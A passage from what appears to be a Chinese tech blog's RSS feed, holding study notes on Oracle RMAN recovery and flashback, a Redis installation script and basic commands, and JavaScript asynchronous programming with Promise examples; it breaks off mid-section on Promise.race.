</span></span><span class="line"><span class="cl">rman&gt; duplicate target database to oradup from active database<span class="p">;</span>
</span></span></code></pre></div><h2 id="恢复">恢复</h2>
<h3 id="数据库基于时间点的恢复">数据库基于时间点的恢复</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1">#克隆数据库作为辅助数据库，然后推到特定时间</span>
</span></span><span class="line"><span class="cl"><span class="c1">#基于时间点的恢复</span>
</span></span><span class="line"><span class="cl"><span class="c1">#1. 创建测试表</span>
</span></span><span class="line"><span class="cl">create table scott.suibian<span class="o">(</span>id int<span class="o">)</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">insert into scott.suibian values<span class="o">(</span>100<span class="o">)</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">commit<span class="p">;</span>
</span></span><span class="line"><span class="cl">alter system archive log current<span class="p">;</span> <span class="c1">#归档模式</span>
</span></span><span class="line"><span class="cl"><span class="c1">#整库备份</span>
</span></span><span class="line"><span class="cl">在RMAN中backup databse<span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="c1"># 再插入一条记录</span>
</span></span><span class="line"><span class="cl">insert into scott.suibian values<span class="o">(</span>200<span class="o">)</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">commit<span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="c1">#查看时间</span>
</span></span><span class="line"><span class="cl">!date
</span></span><span class="line"><span class="cl"><span class="c1">#删除表</span>
</span></span><span class="line"><span class="cl">drop table scott.suibian purge<span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="c1">#创建表</span>
</span></span><span class="line"><span class="cl">create table scott.suibian2 as <span class="k">select</span> * from scott.emp<span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="c1">#启动数据库到mount阶段</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">#设置环境变量</span>
</span></span><span class="line"><span class="cl"><span class="nb">export</span> <span class="nv">NLS_DATE_FORMAT</span> <span class="o">=</span> <span class="s2">&#34;yyyy-mm-dd hh24:mi:ss&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">#还原数据库</span>
</span></span><span class="line"><span class="cl">RMAN下 restore database<span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="c1">#恢复数据库到指定时间点</span>
</span></span><span class="line"><span class="cl">RMAN下 RECOVER DATABASE UNTIL TIME <span class="s2">&#34;TO_DATE(&#39;2024-06-04 10:26:40&#39;, &#39;YYYY-MM-DD HH24:MI:SS&#39;)&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="c1">#打开数据库</span>
</span></span><span class="line"><span class="cl">alter database open resetlogs<span class="p">;</span>
</span></span></code></pre></div><h3 id="tspitr------表空间基于时间点的恢复">TSPITR   &mdash;表空间基于时间点的恢复</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1">#1. 创建测试表空间</span>
</span></span><span class="line"><span class="cl">create tablespace tbs1 datafile <span class="s1">&#39;/u01/app/oracle/oradata/sales/tbs101.dbf&#39;</span> size 10m<span class="p">;</span>
</span></span><span class="line"><span class="cl">create tablespace tbs2 datafile <span class="s1">&#39;/u01/app/oracle/oradata/sales/tbs201.dbf&#39;</span> size 10m<span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">#2. 创建测试表</span>
</span></span><span class="line"><span class="cl">create table scott.t1 tablespace tbs1 as <span class="k">select</span> * from scott.emp<span class="p">;</span>
</span></span><span class="line"><span class="cl">create index scott.idx_ename on scott.t1<span class="o">(</span>ename<span class="o">)</span> tablespace tbs2<span class="p">;</span>
</span></span><span class="line"><span class="cl">alter system checkpoint<span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">#3. 备份数据库</span>
</span></span><span class="line"><span class="cl">RMAN&gt;backup database plus archivelog<span class="p">;</span>
</span></span><span class="line"><span class="cl">RMAN&gt;list backup<span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">#4.误操作</span>
</span></span><span class="line"><span class="cl"><span class="k">select</span> systimestamp from dual<span class="p">;</span>   <span class="o">(</span>28-MAY-24 09.55.49<span class="o">)</span>
</span></span><span class="line"><span class="cl">truncate table scott.t1<span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">#5.之后再创建一张表</span>
</span></span><span class="line"><span class="cl">create table scott.t2 tablespace users as <span class="k">select</span> * from scott.dept<span class="p">;</span>
</span></span><span class="line"><span class="cl">create table scott.t3 tablespace tbs1 as <span class="k">select</span> * from scott.emp<span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="k">select</span> * from scott.t1<span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="k">select</span> * from scott.t2<span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="k">select</span> * from scott.t3<span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">#6.验证表空间的依赖性</span>
</span></span><span class="line"><span class="cl">conn / as sysdba
</span></span><span class="line"><span class="cl">execute DBMS_TTS.TRANSPORT_SET_CHECK<span class="o">(</span><span class="s1">&#39;TBS1&#39;</span>, TRUE,TRUE<span class="o">)</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">SELECT * FROM TRANSPORT_SET_VIOLATIONS<span class="p">;</span>
</span></span><span class="line"><span class="cl">execute DBMS_TTS.TRANSPORT_SET_CHECK<span class="o">(</span><span class="s1">&#39;TBS1,TBS2&#39;</span>, TRUE,TRUE<span class="o">)</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">SELECT * FROM TRANSPORT_SET_VIOLATIONS<span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">#可以看到，如果只恢复表空间TBS1，会有T1表的索引依赖表空间TBS2。</span>
</span></span><span class="line"><span class="cl"><span class="c1">#我们这里同时恢复表空间TBS1,TBS2，这样就解决了依赖关系。</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">#7.确定执行TSPITR后会丢失的对象</span>
</span></span><span class="line"><span class="cl"><span class="k">select</span> owner,name,tablespace_name,to_char<span class="o">(</span>creation_time,<span class="s1">&#39;yyyy-mm-dd hh24:mi:ss&#39;</span><span class="o">)</span> creation_time
</span></span><span class="line"><span class="cl">from TS_PITR_OBJECTS_TO_BE_DROPPED
</span></span><span class="line"><span class="cl">where tablespace_name in <span class="o">(</span><span class="s1">&#39;TBS1&#39;</span>,<span class="s1">&#39;TBS2&#39;</span><span class="o">)</span>
</span></span><span class="line"><span class="cl">and creation_time&gt;to_date<span class="o">(</span><span class="s1">&#39;2024-05-28 09:55:49&#39;</span>,<span class="s1">&#39;yyyy-mm-dd hh24:mi:ss&#39;</span><span class="o">)</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 这里没有查出结果，如果有结果，最好先expdp导出这些对象的备份，待恢复表空间后，再导入这些对象。</span>
</span></span><span class="line"><span class="cl"><span class="c1"># 当然如果确定这些对象是没有用的，可以直接忽略。</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 8.执行TSPITR</span>
</span></span><span class="line"><span class="cl"><span class="nb">export</span> <span class="nv">NLS_DATE_FORMAT</span><span class="o">=</span><span class="s2">&#34;yyyy-mm-dd hh24:mi:ss&#34;</span>
</span></span><span class="line"><span class="cl">RMAN&gt;recover tablespace TBS1,TBS2 <span class="k">until</span> <span class="nb">time</span> <span class="s1">&#39;2024-05-28 09:55:49&#39;</span> auxiliary destination <span class="s1">&#39;/u01/aux&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 9.检查</span>
</span></span><span class="line"><span class="cl"><span class="k">select</span> tablespace_name,status from dba_tablespaces<span class="p">;</span>
</span></span><span class="line"><span class="cl">alter tablespace tbs1 online<span class="p">;</span>
</span></span><span class="line"><span class="cl">alter tablespace tbs2 online<span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="k">select</span> * from scott.t1<span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="k">select</span> * from scott.t2<span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="k">select</span> * from scott.t3<span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">imp 
</span></span><span class="line"><span class="cl"><span class="c1"># 10.删除测试表空间和表</span>
</span></span><span class="line"><span class="cl">drop tablespace tbs1 including contents and datafiles<span class="p">;</span>
</span></span><span class="line"><span class="cl">drop tablespace tbs2 including contents and datafiles<span class="p">;</span>
</span></span><span class="line"><span class="cl">drop table scott.t2 purge<span class="p">;</span>
</span></span><span class="line"><span class="cl">drop table scott.t3 purge<span class="p">;</span>
</span></span></code></pre></div><hr>
<h2 id="闪回">闪回</h2>
<h3 id="闪回数据库">闪回数据库</h3>
<ul>
<li>前置条件
<ul>
<li>归档模式</li>
<li>启用闪回
<ul>
<li>查看是否启用:<code>select FLASHBACK_ON from v$database;</code></li>
<li>启用<code>alter database FLASHBACK ON;</code></li>
</ul>
</li>
</ul>
</li>
<li>相关参数
<ul>
<li><code>show parameter db_recovery_file_dest</code></li>
<li><code>show parameter db_recovery_file_dest_size</code></li>
<li><code>show parameter db_flashback_retention_target</code></li>
</ul>
</li>
<li><code>select OLDEST_FLASHBACK_TIME from v$flashback_database_log;</code></li>
<li>查看scn： <code>select current_scn from v$database;</code></li>
<li>闪回需要在mount阶段执行
<ul>
<li><code>startup mount;</code></li>
<li><code>flashback database to scn 666;</code></li>
<li><code>alter database open RESETLOGS;</code></li>
</ul>
</li>
</ul>
<h3 id="闪回表">闪回表</h3>
<ul>
<li>前提：激活表的行移动特性
<ul>
<li><code>select table name.ROW MOVEMENT from user tables;</code></li>
<li>激活 <code>alter table emp enable ROW MOVEMENT;</code></li>
</ul>
</li>
<li><code>flashback table scott.emp to timestamp to_timestamp('2024-05-28 11:31:05','yyyy-mm-dd hh24:mi:ss');</code></li>
</ul>
<h3 id="闪回删除">闪回删除</h3>
<ul>
<li>前提：启用回收站：<code>show parameter recyclebin;</code></li>
<li><code>flashback table &lt;table_name&gt; to before drop;</code></li>
</ul>
<h3 id="闪回查询">闪回查询</h3>
<ul>
<li>时间点
<ul>
<li><code>select * from emp as of timestamp to_timestamp ('2024-05-28 11:31:22','yyyy-mm-dd hh24:mi:ss') where deptno=30;</code></li>
<li><code>insert into emp select * from emp as of timestamp to_timestamp ('2024-05-28 11:31:22','yyyy-mm-dd hh24:mi:ss') where deptno=30;</code></li>
</ul>
</li>
<li>版本
<ul>
<li><code>select sal from emp versions between scn minvalue and maxvalue where empno=1234;</code></li>
</ul>
</li>
</ul>
<h3 id="闪回事务查询">闪回事务查询</h3>
<ul>
<li><code>select SUPPLEMENTAL_LOG_DATA_MIN from v$database;</code></li>
<li><code>alter database add SUPPLEMENTAL LOG DATA;</code></li>
<li><code>select versions_xid,empno,ename,versions_operation from my_emp versions between scn minvalue and maxvalue;</code> #050011003E020000</li>
<li>select undo_sql from FLASHBACK_TRANSACTION_QUERY where xid=&lsquo;050011003E020000&rsquo;;</li>
</ul>
<h3 id="闪回事务">闪回事务</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="k">select</span> distinct xid,commit_scn
</span></span><span class="line"><span class="cl">  from flashback_transaction_query
</span></span><span class="line"><span class="cl">  where <span class="nv">table_owner</span><span class="o">=</span><span class="s1">&#39;HR&#39;</span>and 
</span></span><span class="line"><span class="cl">  <span class="nv">table_name</span><span class="o">=</span><span class="s1">&#39;EMPLOYEES&#39;</span> and  
</span></span><span class="line"><span class="cl">  commit_timestamp &gt; systimestamp - interval <span class="s1">&#39;10&#39;</span> minute
</span></span><span class="line"><span class="cl">  order by commit_scn<span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="c1"># 得到</span>
</span></span><span class="line"><span class="cl">XID              COMMIT_SCN
</span></span><span class="line"><span class="cl">---------------- ----------
</span></span><span class="line"><span class="cl">07001400DA030000    <span class="m">2611571</span>
</span></span><span class="line"><span class="cl"><span class="m">0100070003040000</span>    <span class="m">2611623</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">declare</span>
</span></span><span class="line"><span class="cl">  xids sys.xid_array<span class="p">;</span>
</span></span><span class="line"><span class="cl">  begin
</span></span><span class="line"><span class="cl">    xids :<span class="o">=</span> sys.xid_array<span class="o">(</span><span class="s1">&#39;07001400DA030000&#39;</span><span class="o">)</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    dbms_flashback.transaction_backout<span class="o">(</span>1,xids,options<span class="o">=</span>&gt;dbms_flashback.cascade<span class="o">)</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  end<span class="p">;</span>
</span></span><span class="line"><span class="cl">/
</span></span></code></pre></div><h2 id="最终实验">最终实验</h2>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">mkdir -p /u01/app/eu/admin/seuwyd29/adump
</span></span><span class="line"><span class="cl">mkdir -p /u01/app/eu/fast_recovery_area/seuwyd29
</span></span><span class="line"><span class="cl">mkdir -p /u01/app/seuwyd29
</span></span><span class="line"><span class="cl">mkdir -p /u01/app/eu/oradata/seuwyd29
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">export</span> <span class="nv">ORACLE_SID</span><span class="o">=</span>seuwyd29
</span></span><span class="line"><span class="cl">sqlplus / as sysdba
</span></span><span class="line"><span class="cl">SYS@seuwyd29&gt;startup nomount
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">create database seuwyd29
</span></span><span class="line"><span class="cl">  datafile <span class="s1">&#39;/u01/app/eu/oradata/seuwyd29/system01.dbf&#39;</span> size 400m
</span></span><span class="line"><span class="cl">  sysaux datafile <span class="s1">&#39;/u01/app/eu/oradata/seuwyd29/sysaux01.dbf&#39;</span> size 400m
</span></span><span class="line"><span class="cl">  default tablespace users datafile <span class="s1">&#39;/u01/app/eu/oradata/seuwyd29/users01.dbf&#39;</span> size 100m
</span></span><span class="line"><span class="cl">  default temporary tablespace temp tempfile <span class="s1">&#39;/u01/app/eu/oradata/seuwyd29/temp01.dbf&#39;</span> size 20m
</span></span><span class="line"><span class="cl">  undo tablespace undotbs1 datafile <span class="s1">&#39;/u01/app/eu/oradata/seuwyd29/undotbs01.dbf&#39;</span> size 50m
</span></span><span class="line"><span class="cl">  logfile
</span></span><span class="line"><span class="cl">  group <span class="m">1</span> <span class="s1">&#39;/u01/app/eu/oradata/seuwyd29/redo01.log&#39;</span> size 10m,
</span></span><span class="line"><span class="cl">  group <span class="m">2</span> <span class="s1">&#39;/u01/app/eu/oradata/seuwyd29/redo02.log&#39;</span> size 10m,
</span></span><span class="line"><span class="cl">  group <span class="m">3</span> <span class="s1">&#39;/u01/app/eu/oradata/seuwyd29/redo03.log&#39;</span> size 10m<span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">SELECT LAST_NAME, YEARS, MONTHS
</span></span><span class="line"><span class="cl">FROM <span class="o">(</span>
</span></span><span class="line"><span class="cl">    SELECT 
</span></span><span class="line"><span class="cl">        LAST_NAME,
</span></span><span class="line"><span class="cl">        FLOOR<span class="o">(</span>MONTHS_BETWEEN<span class="o">(</span>SYSDATE, HIRE_DATE<span class="o">)</span> / 12<span class="o">)</span> AS YEARS,
</span></span><span class="line"><span class="cl">        TRUNC<span class="o">(</span>MOD<span class="o">(</span>MONTHS_BETWEEN<span class="o">(</span>SYSDATE, HIRE_DATE<span class="o">)</span>, 12<span class="o">))</span> AS MONTHS,
</span></span><span class="line"><span class="cl">        ROW_NUMBER<span class="o">()</span> OVER <span class="o">(</span>ORDER BY FLOOR<span class="o">(</span>MONTHS_BETWEEN<span class="o">(</span>SYSDATE, HIRE_DATE<span class="o">)</span> / 12<span class="o">)</span> DESC, 
</span></span><span class="line"><span class="cl">                           TRUNC<span class="o">(</span>MOD<span class="o">(</span>MONTHS_BETWEEN<span class="o">(</span>SYSDATE, HIRE_DATE<span class="o">)</span>, 12<span class="o">))</span> DESC<span class="o">)</span> AS RANK
</span></span><span class="line"><span class="cl">    FROM 
</span></span><span class="line"><span class="cl">        hr.employees
</span></span><span class="line"><span class="cl"><span class="o">)</span>
</span></span><span class="line"><span class="cl">WHERE RANK BETWEEN <span class="m">6</span> AND 20<span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">#logmnr </span>
</span></span><span class="line"><span class="cl">mkdir -p /u01/demo/eudict
</span></span><span class="line"><span class="cl">create directory EUDICT as <span class="s1">&#39;/u01/demo/eudict&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">EXECUTE dbms_logmnr_d.build<span class="o">(</span><span class="s1">&#39;v816dict.ora&#39;</span>,<span class="s1">&#39;EUDICT&#39;</span><span class="o">)</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">EXECUTE dbms_logmnr.add_logfile<span class="o">(</span><span class="nv">logfilename</span><span class="o">=</span>&gt;<span class="s1">&#39;/u01/app/eu/oradata/seuwyd29/redo02.log&#39;</span>,Options<span class="o">=</span>&gt;dbms_logmnr.new<span class="o">)</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">EXECUTE dbms_logmnr.start_logmnr<span class="o">(</span><span class="nv">DictFilename</span><span class="o">=</span>&gt;<span class="s1">&#39;/u01/demo/eudict/v816dict.ora&#39;</span><span class="o">)</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 闪回事务</span>
</span></span><span class="line"><span class="cl">create table scott.my_emp as <span class="k">select</span> * from scott.emp<span class="p">;</span>
</span></span><span class="line"><span class="cl">delete from scott.my_emp where <span class="nv">empno</span><span class="o">=</span>7900<span class="p">;</span>
</span></span><span class="line"><span class="cl">delete from scott.my_emp where <span class="nv">empno</span><span class="o">=</span>7844<span class="p">;</span>
</span></span><span class="line"><span class="cl">commit<span class="p">;</span>
</span></span></code></pre></div><h2 id="参考">参考</h2>
<ul>
<li><a href="https://rehoni.github.io/cn/2018/2018-02-27-oracle-1/"  target="_blank" rel="noopener" >Oracle实践数据库笔记-1 - Rehoni | 罗皓</a></li>
<li><a href="https://kurisu0829.github.io/posts/%E5%AE%9E%E7%94%A8%E6%95%B0%E6%8D%AE%E5%BA%93%E5%AE%9E%E8%B7%B5%E7%AC%94%E8%AE%B0/"  target="_blank" rel="noopener" >实用数据库实践笔记 | Kurisu</a></li>
<li><a href="https://blog.csdn.net/qq_43670385/article/details/132873685"  target="_blank" rel="noopener" >ORACLE手工创建数据库(sales)_创建一个默认数据库为productsale-CSDN博客</a></li>
</ul>
]]></content:encoded>
    </item>
    
    <item>
      <title>Redis学习笔记</title>
      <link>https://ds63.eu.org/2024/learn_redis/</link>
      <pubDate>Thu, 30 May 2024 15:34:14 +0800</pubDate>
      
      <guid>https://ds63.eu.org/2024/learn_redis/</guid>
      <description>无快不破</description>
      <content:encoded><![CDATA[<h2 id="安装脚本">安装脚本</h2>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># #!/bin/bash</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># install redis-stack-server</span>
</span></span><span class="line"><span class="cl">curl -fsSL https://packages.redis.io/gpg <span class="p">|</span> sudo gpg --dearmor -o /usr/share/keyrings/redis-archive-keyring.gpg
</span></span><span class="line"><span class="cl">sudo chmod <span class="m">644</span> /usr/share/keyrings/redis-archive-keyring.gpg
</span></span><span class="line"><span class="cl"><span class="nb">echo</span> <span class="s2">&#34;deb [signed-by=/usr/share/keyrings/redis-archive-keyring.gpg] https://packages.redis.io/deb </span><span class="k">$(</span>lsb_release -cs<span class="k">)</span><span class="s2"> main&#34;</span> <span class="p">|</span> sudo tee /etc/apt/sources.list.d/redis.list
</span></span><span class="line"><span class="cl">sudo apt-get update
</span></span><span class="line"><span class="cl">sudo apt-get install redis-stack-server
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># setup</span>
</span></span><span class="line"><span class="cl"><span class="nb">echo</span> <span class="s2">&#34;setup redis&#34;</span>
</span></span><span class="line"><span class="cl">sudo <span class="nb">echo</span> <span class="s2">&#34;requirepass your_password&#34;</span> &gt;&gt; /etc/redis-stack.conf
</span></span><span class="line"><span class="cl">sudo <span class="nb">echo</span> <span class="s2">&#34;bind 0.0.0.0&#34;</span> &gt;&gt; /etc/redis-stack.conf
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># restart</span>
</span></span><span class="line"><span class="cl">sudo service redis-stack-server start
</span></span></code></pre></div><hr>
<h2 id="登录">登录</h2>
<p><code>redis-cli -h hostname -a password</code></p>
<hr>
<h2 id="use-redis-in-docker">Use redis in Docker</h2>
<p>详见<a href="https://ds63.eu.org/2024/mysql_redis_in_one_docker/#redis"  target="_blank" rel="noopener" >Use mysql and redis in Docker | EuDs&rsquo;s Blog</a></p>
<hr>
<h2 id="pub-sub">pub sub</h2>
<ul>
<li><code>PUBSUB CHANNELS [pattern]</code></li>
<li>作用： Lists the currently active channels.(An active channel is a Pub/Sub channel with one or more subscribers (excluding clients subscribed to patterns).)</li>
<li>补充：我曾犯过这样一个错误，<code>UNSUBSCRIBE channel1</code>,然后发现<code>PUBSUB CHANNELS</code>还是有它,就在那纳闷，好一会才反应过来，可能这个channel还有其他被监听的地方。</li>
</ul>
<h3 id="参考">参考</h3>
<ul>
<li><a href="https://medium.com/redis-with-raphael-de-lio/understanding-pub-sub-in-redis-18278440c2a9"  target="_blank" rel="noopener" >Understanding Pub/Sub in Redis (Getting Started) | Redis with Raphael De Lio</a></li>
<li><a href="https://redis.io/docs/latest/commands/pubsub-channels/"  target="_blank" rel="noopener" >PUBSUB CHANNELS | Docs</a></li>
</ul>
<hr>
<h2 id="list">List</h2>
<ul>
<li><a href="https://redis.io/docs/latest/develop/data-types/lists/"  target="_blank" rel="noopener" >Redis lists | Docs</a></li>
<li><code>lpop</code></li>
<li>LPUSH adds a new element to the head of a list; RPUSH adds to the tail.</li>
<li>LPOP removes and returns an element from the head of a list; RPOP does the same but from the tails of a list.</li>
<li>LLEN returns the length of a list.</li>
<li>LMOVE atomically moves elements from one list to another.</li>
<li>LRANGE extracts a range of elements from a list.</li>
<li>LTRIM reduces a list to the specified range of elements.</li>
</ul>
]]></content:encoded>
    </item>
    
    <item>
      <title>JavaScript知识点整理之异步</title>
      <link>https://ds63.eu.org/2024/javascript_points_of_async/</link>
      <pubDate>Sat, 25 May 2024 15:34:14 +0800</pubDate>
      
      <guid>https://ds63.eu.org/2024/javascript_points_of_async/</guid>
      <description>自己学习过程中整理的关于JavaScript中异步的知识点</description>
      <content:encoded><![CDATA[<h2 id="单线程">单线程</h2>
<ul>
<li>
<p>原因:</p>
<ul>
<li>与它的用途有关: 作为浏览器脚本语言，JavaScript 的主要用途是与用户互动，以及操作 DOM。若以多线程的方式操作这些 DOM，则可能出现操作的冲突。假设有两个线程同时操作一个 DOM 元素，线程 1 要求浏览器删除 DOM，而线程 2 却要求修改 DOM 样式，这时浏览器就无法决定采用哪个线程的操作。当然，我们可以为浏览器引入“锁”的机制来解决这些冲突，但这会大大提高复杂性，所以 JavaScript 从诞生开始就选择了单线程执行。</li>
</ul>
</li>
<li>
<p><a href="https://github.com/JChehe/blog/blob/master/posts/%E5%85%B3%E4%BA%8EJavaScript%E5%8D%95%E7%BA%BF%E7%A8%8B%E7%9A%84%E4%B8%80%E4%BA%9B%E4%BA%8B.md"  target="_blank" rel="noopener" >blog/posts/关于JavaScript单线程的一些事.md at master · JChehe/blog</a></p>
</li>
</ul>
<h2 id="回调函数">回调函数</h2>
<ul>
<li>最基本的方法</li>
</ul>
<h3 id="实例">实例</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="c1">//有两个函数f1和f2，后者等待前者的执行结果。f1耗时长
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">f1</span><span class="p">();</span>
</span></span><span class="line"><span class="cl"><span class="nx">f2</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// 可以考虑改写f1，把f2写成f1的回调函数
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="kd">function</span> <span class="nx">f1</span><span class="p">(</span><span class="nx">callback</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">　<span class="nx">setTimeout</span><span class="p">(</span><span class="kd">function</span> <span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">　　<span class="c1">// f1的任务代码
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>　　<span class="nx">callback</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">　<span class="p">},</span> <span class="mi">1000</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><h3 id="优点">优点</h3>
<ul>
<li>简单、容易理解和部署</li>
</ul>
<h3 id="缺点">缺点</h3>
<ul>
<li>不利于代码的阅读和维护，各个部分之间高度耦合（Coupling），流程会很混乱</li>
<li>每个任务只能指定一个回调函数</li>
</ul>
<hr>
<h2 id="事件监听">事件监听</h2>
<ul>
<li>任务的执行不取决于代码的顺序，而取决于某个事件是否发生</li>
</ul>
<h3 id="示例">示例</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="c1">// 为f1绑定一个事件
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">f1</span><span class="p">.</span><span class="nx">on</span><span class="p">(</span><span class="s1">&#39;done&#39;</span><span class="p">,</span><span class="nx">f2</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// 改写f1
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="kd">function</span> <span class="nx">f1</span><span class="p">(){</span>
</span></span><span class="line"><span class="cl">  <span class="nx">setTimeout</span><span class="p">(</span><span class="kd">function</span> <span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nx">f1</span><span class="p">.</span><span class="nx">emit</span><span class="p">(</span><span class="s1">&#39;done&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="p">},</span><span class="mi">1000</span><span class="p">);</span>  
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><h3 id="优点-1">优点</h3>
<ul>
<li>比较容易理解</li>
<li>可以绑定多个事件，每个事件可以指定多个回调函数</li>
<li>可以&quot;去耦合&quot;（Decoupling），有利于实现模块化</li>
</ul>
<h3 id="缺点-1">缺点</h3>
<ul>
<li>整个程序都要变成事件驱动型，运行流程会变得很不清晰</li>
</ul>
<hr>
<h2 id="promise">Promise</h2>
<h3 id="描述">描述</h3>
<ul>
<li>一个 Promise 是一个<strong>代理</strong>，它代表一个在创建 promise 时不一定已知的值。</li>
<li>它允许你将处理程序与异步操作的最终成功值或失败原因关联起来。</li>
<li>这使得异步方法可以像同步方法一样返回值：异步方法不会立即返回最终值，而是返回一个 promise，以便在将来的某个时间点提供该值。</li>
</ul>
<h3 id="状态">状态</h3>
<ul>
<li>待定（pending）：初始状态，既没有被兑现，也没有被拒绝。</li>
<li>已兑现（fulfilled）：意味着操作成功完成。</li>
<li>已拒绝（rejected）：意味着操作失败。</li>
</ul>
<h3 id="方法">方法</h3>
<ul>
<li><code>.then()</code>:
<ul>
<li>最多接受两个参数；第一个参数是 Promise 兑现时的回调函数，第二个参数是 Promise 拒绝时的回调函数</li>
<li>返回一个新生成的 Promise 对象，这个对象可被用于链式调用</li>
</ul>
</li>
<li><code>.catch()</code>其实就是一个没有为 Promise 兑现时的回调函数留出空位的 <code>.then()</code></li>
<li><code>Promise.all()</code>
<ul>
<li>特点
<ol>
<li>接收一个可迭代对象</li>
<li>传入的数据中可以是普通数据，也可以是Promise对象</li>
<li>可迭代对象的promise是并行执行的</li>
<li>保持输入数组的顺序和输出数组的顺序一致</li>
<li>传入数组中只要有一个reject，立即返回reject,并带有第一个被拒绝的原因。</li>
<li>所有数据resolve之后返回一个 Promise</li>
</ol>
</li>
<li>实现: 参考: <a href="https://juejin.cn/post/7006200103157383175"  target="_blank" rel="noopener" >手写Promise.all - 掘金</a>
<code>JavaScript function myPromiseAll(iterable){ return new Promise((resolve,reject)=&gt;{ const promises = Array.from(iterable); const result = []; let count = 0; const len = promises.length; for(let i=0;i&lt;len;i++){ Promise.resolve(promises[i]).then(res=&gt;{ result[i] = res; count++; if(count===len){ resolve(result); } }).catch(err=&gt;{ reject(err); }) } }) } </code></li>
</ul>
</li>
<li><code>Promise.any()</code>
<ul>
<li>当输入的任何一个 Promise 兑现时，这个返回的 Promise 将会兑现，并返回第一个兑现的值。当所有输入 Promise 都被拒绝（包括传递了空的可迭代对象）时，它会以一个包含拒绝原因数组的 AggregateError 拒绝。</li>
</ul>
</li>
<li><code>Promise.allSettld()</code></li>
<li><code>Promise.race()</code>
<ul>
<li>特点:
<ol>
<li>返回第一个执行完成的 Promise，无论它是被 resolve 还是 reject</li>
</ol>
</li>
<li>实现:
